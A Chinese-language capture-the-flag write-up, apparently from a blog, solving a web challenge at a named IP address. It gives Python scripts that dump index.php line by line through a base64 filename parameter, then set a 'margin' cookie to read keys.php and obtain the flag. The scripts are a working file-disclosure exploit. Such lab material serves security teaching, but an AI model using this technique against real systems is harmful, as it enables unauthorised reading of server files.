标签:就是 参数 理解 oca php get file error cat
?
import requests
?
url1 ="http://123.206.87.240:8002/web11/index.php?line="
url2 ="&filename=aW5kZXgucGhw"
?
mysession = requests.session()
for i in range(0,40):
r = mysession.get(url1+str(i)+url2)#读取每一行代码
print(r.text)
?
<?php error_reporting(0);
?
$file=base64_decode(isset($_GET[‘filename‘])?$_GET[‘filename‘]:"");
?
$line=isset($_GET[‘line‘])?intval($_GET[‘line‘]):0;
?
if($file==‘‘) header("location:index.php?line=&filename=a2V5cy50eHQ=");
?
$file_list = array(
?
‘0‘ =>‘keys.txt‘,
?
‘1‘ =>‘index.php‘,
?
);
?
?
?
if(isset($_COOKIE[‘margin‘]) && $_COOKIE[‘margin‘]==‘margin‘){
?
$file_list[2]=‘keys.php‘;
?
}
?
?
?
if(in_array($file, $file_list)){
?
$fa = file($file);
?
echo $fa[$line];
?
}
?
?> 理解:要把cookie中设置margin参数为‘margin‘且要修改filename是keys.php的base64编码的内容,即可获取flag
?
import requests
url = "http://123.206.87.240:8002/web11/index.php?line=&filename=a2V5cy5waHA=" # filename替换为keys.php的base64加密后的内容
mysession = requests.session()
cookies = {‘margin‘: ‘margin‘}
r = mysession.post(url, cookies=cookies)
print(r.text)
?
总结:cookies的传参理解和代码的熟悉以及对题目的意义,主要是让你知道base64编码传参,line和filename的使用再利用脚本获取index.php的内容源码,主要是需要获取源码并且理解源码涵义,这里理解为将cookie中·设置margin参数的值为margin,即可获取得到flag了
标签:就是 参数 理解 oca php get file error cat
原文地址:https://www.cnblogs.com/cxl862002755/p/13230423.html